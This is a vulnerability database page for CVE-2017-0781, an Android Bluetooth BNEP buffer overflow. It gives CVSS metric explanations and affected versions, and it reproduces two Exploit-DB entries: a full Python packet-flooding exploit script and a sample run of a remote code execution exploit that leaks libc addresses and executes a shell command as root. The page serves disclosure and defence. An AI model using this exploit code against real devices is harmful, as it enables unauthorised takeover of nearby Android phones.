CVE-2017-0781 : Detail

CVE-2017-0781

8.8
/
High
Overflow
2.56%V3
Adjacent
2017-09-14
19h00 +00:00
2024-09-16
19h09 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146105.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

A vulnerability exploitable with adjacent network access means the vulnerable component is bound to the network stack, however the attack is limited to the same shared physical (e.g. Bluetooth, IEEE 802.11), or logical (e.g. local IP subnet) network, and cannot be performed across an OSI layer 3 boundary (e.g. a router).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 8.3 AV:A/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44554

Publication date : 2017-08-08 22h00 +00:00
Author : Kert Ojasoo
EDB Verified : No

from pwn import * import bluetooth if not 'TARGET' in args: log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX') exit() target = args['TARGET'] count = 30 # Amount of packets to send port = 0xf # BT_PSM_BNEP context.arch = 'arm' BNEP_FRAME_CONTROL = 0x01 BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01 def set_bnep_header_extension_bit(bnep_header_type): """ If the extension flag is equal to 0x1 then one or more extension headers follows the BNEP header; If extension flag is equal to 0x0 then the BNEP payload follows the BNEP header. """ return bnep_header_type | 128 def bnep_control_packet(control_type, control_packet): return p8(control_type) + control_packet def packet(overflow): pkt = '' pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL)) pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow) return pkt bad_packet = packet('AAAABBBB') log.info('Connecting...') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, 1500) sock.connect((target, port)) log.info('Sending BNEP packets...') for i in range(count): sock.send(bad_packet) log.success('Done.') sock.close()
Exploit Database EDB-ID : 44415

Publication date : 2018-04-05 22h00 +00:00
Author : Marcin Kozlowski
EDB Verified : No

# Exploit Title: LineageOS 14.1 (Android 7.1.2) Blueborne RCE CVE-2017-0781 # Date: 04/01/2018 # Exploit Author: Marcin Kozlowski <[email protected]> # Tested on: LinageOS 14.1 (Android 7.1.2) without BlueBorne Patch # CVE : CVE-2017-0781 # Provided for legal security research and testing purposes ONLY. Code in exp4.py More info in Repo: https://github.com/marcinguy/android712-blueborne Sample Execution: $python exp4.py hci0 84:55:A5:B6:6F:F6 [*] Pwn attempt 0: [*] Set hci0 to new rand BDADDR 16:e1:66:a7:8a:3d [↘] Doing stack memeory leak... 00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 02: 00000000 00000000 00000000 ad0911c4 9a2ed2c8 00000018 00000044 acf3de5d acf4d67d 03: acf475e1 ad0911c4 a7c61ac0 16e166a7 00008a3d 00000000 b4300500 b4300970 1187a437 04: 00000000 9a2ed2a8 000003f3 00020001 9a2e0700 acfac80a b2f1fee0 ad08fb74 b5215a97 05: b4300500 b4300970 b2f1d220 00000000 00000001 b5225001 1187a437 00000000 00000000 06: a7c38bc0 aa5753c0 aa5753c8 b2f79360 00000008 00000000 b5233a89 00000001 00000000 07: 00000000 00000000 ad08fb74 acf61330 1187a437 00000008 a7c38bc0 b2f79360 acfc9968 08: b2f79360 00000000 a7c0f0e8 a7c38bc0 b2f79360 acfc9968 acf588f7 00000000 a7c38bc0 09: a7c00000 b4300500 00000003 a7c63b60 a7c00000 b4300500 b4300a78 aa5753c8 a7c63b60 10: ad0911c4 ad08fb74 b5225d3b 00000063 aa5753c8 b4300500 00000000 aa5753c8 b5225d67 11: acf3e0f5 ad07a770 00000000 a7c63b60 00000013 b5235ad5 00000063 a7c63b60 b4300500 12: b4300970 b2f1d418 00000000 00000001 b5225001 1187a437 a7c63b60 00000044 00000013 13: 00000000 00000044 a7c63b60 ad0911c4 ad08fb74 acf3df91 00000040 a7c63b70 00000000 14: acf472db a7c0fa24 b5225d3b 0000001d aa5753c8 b4300500 00000000 aa5753c8 b5225d67 15: 9a2ed4b0 a7c0f778 0000000f b2f1d298 00000000 b5235ad5 0000001d b2f1d298 aa5753c8 16: 00000000 9a2ed8d8 00000000 9a2ed4b0 b5235d03 00000000 9a2ed4b0 1187a437 00000008 17: b2f1d430 1187a437 a7c0f250 b2f1d298 9a2ed8d8 b51ea361 00000001 00000000 a7c0f778 18: 1187a437 9a2ed8d8 acf59793 1187a437 a7c0f780 00000001 a7c0fa18 9a2ed8d8 00000000 19: 9a2ed4b0 a7c0f778 a7c0fa24 acf58f85 00000001 0000003e a7c0fa18 00000000 00000005 [*] LIBC 0xb51ea361 [*] BT 0xacf4d67d [*] libc_base: 0xb5142000, bss_base: 0xacece000 [*] system: 0xb5216b4d, acl_name: 0xad08160c [*] Set hci0 to new rand BDADDR e3:83:0c:ab:03:c6 [*] system 0xb5216b4d [*] PAYLOAD "\x17\xaa\xaaAAAAMk!\xb5"; touch /data/local/tmp/test # [+] Connecting to BNEP again: Done [+] Pwning...: Done [*] Looks like it didn't crash. Possibly worked Payload executed: s3ve3g:/ # ls -la /data/local/tmp/ total 24 drwxrwxrwx 2 shell shell 4096 2014-01-13 02:05 . drwxr-x--x 3 root root 4096 2014-01-22 00:36 .. -rw------- 1 root root 5773 2018-03-25 12:51 apt.conf.owMBvd -rw------- 1 root root 1182 2018-03-25 12:51 apt.data.HdUevr -rw------- 1 root root 455 2018-03-25 12:51 apt.sig.kv2PHc -rw------- 1 1002 1002 0 2014-01-13 02:05 test s3ve3g:/ #

Products Mentioned

Configuraton 0

Google>>Android >> Version 4.0

Google>>Android >> Version 4.0.1

Google>>Android >> Version 4.0.2

Google>>Android >> Version 4.0.3

Google>>Android >> Version 4.0.4

Google>>Android >> Version 4.1

Google>>Android >> Version 4.1.2

Google>>Android >> Version 4.2

Google>>Android >> Version 4.2.1

Google>>Android >> Version 4.2.2

Google>>Android >> Version 4.3

Google>>Android >> Version 4.3.1

Google>>Android >> Version 4.4

Google>>Android >> Version 4.4.1

Google>>Android >> Version 4.4.2

Google>>Android >> Version 4.4.3

Google>>Android >> Version 4.4.4

Google>>Android >> Version 5.0

Google>>Android >> Version 5.0.1

Google>>Android >> Version 5.0.2

Google>>Android >> Version 5.1

Google>>Android >> Version 5.1.0

Google>>Android >> Version 5.1.1

Google>>Android >> Version 6.0

Google>>Android >> Version 6.0.1

Google>>Android >> Version 7.0

Google>>Android >> Version 7.1.0

Google>>Android >> Version 7.1.1

Google>>Android >> Version 7.1.2

Google>>Android >> Version 8.0

References

https://www.exploit-db.com/exploits/44415/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/100810
Tags : vdb-entry, x_refsource_BID